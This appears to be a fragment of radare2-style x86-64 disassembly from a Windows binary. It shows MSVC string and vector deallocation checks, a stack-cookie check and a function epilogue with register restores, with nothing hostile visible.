jbe 0x14000b03d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000db04
mov qword [rbp + 0xc0], r12
mov qword [rbp + 0xc8], 7
mov word [rbp + 0xb0], r12w
mov rdx, qword [rbp + 0x70]
cmp rdx, 7
jbe 0x14000b0a0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b09a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b09a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000db04
nop
mov rcx, qword [rbp + 0x78]
test rcx, rcx
je 0x14000b0f4
mov rdx, qword [rbp + 0x80]
call fcn.14000cb20
mov rdx, qword [rbp + 0x88]
mov rcx, qword [rbp + 0x78]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b0ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b0ef
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000db04
xor eax, eax
mov rcx, qword [rbp + 0x580]
xor rcx, rsp
call fcn.14000d790
lea r11, [rsp + 0x690]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140001120
nop
call fcn.140009280
int3
call fcn.1400011c0
int3